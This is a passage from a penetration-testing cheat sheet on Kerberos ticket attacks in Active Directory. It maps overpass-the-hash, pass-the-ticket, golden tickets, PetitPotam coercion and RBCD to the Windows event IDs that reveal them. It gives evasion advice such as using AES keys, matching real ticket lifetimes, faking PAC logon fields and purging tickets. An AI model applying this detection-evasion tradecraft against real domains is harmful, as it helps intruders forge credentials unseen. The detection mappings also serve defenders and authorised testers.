don't re-spray | 494 | OPtH with RC4 | 4768 etype 0x17 for a user whose baseline is AES | use `/aes256` + Rubeus `/opsec` (real 2-step AS-REQ) | 495 | PtT from new host | ticket used from IP that never did AS-REQ (KDC-log correlation) | mint fresh TGT (asktgt) instead of replaying | 496 | Golden ticket | TGT with no matching 4768 on the DC | Diamond/Sapphire (real AS-REQ trail) | 497 | Coercion (PetitPotam) | DC machine account connects out — NDR/EDR beacon | one-shot only; have the trap set first | 498 | RBCD write | **5136/4662** attribute change + 4741 machine creation | restore original attribute; delete the machine | 499 500 > [!danger] OPSEC rules for tickets 501 > - **Prefer AES keys over RC4** everywhere (`sekurlsa::ekeys` grabs both) — RC4 etype is the single easiest Kerberos detection to write. 502 > - **Respect lifetimes**: default TGT 10h / renewable 7d. A forged ticket with a 10-year lifetime is an IOC; match the domain's `MaxTicketAge`. 503 > - **Wipe opsec fields**: when forging, set realistic `LogonCount`, `BadPwdCount`, `LastLogon` in the PAC (mimikatz/ticketer defaults can be zeroed — a user with 0 logons holding DA group membership is an anomaly). 504 > - Purge after use: `kdestroy` (Linux) / `Rubeus.exe purge` / `klist purge` (Windows) — and on the defending side, remember **only a double krbtgt reset** retires golden tickets. 505 > - Full defense-side reading: detections in [MITRE ATT&CK](https://attack.mitre.org) T1558 sub-techniques. 506 507 --- 508 509 > [!navigation] Continue the attack flow 510 > **Previous:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration) 511 > 512 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 513 > 514 > **Next:** [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)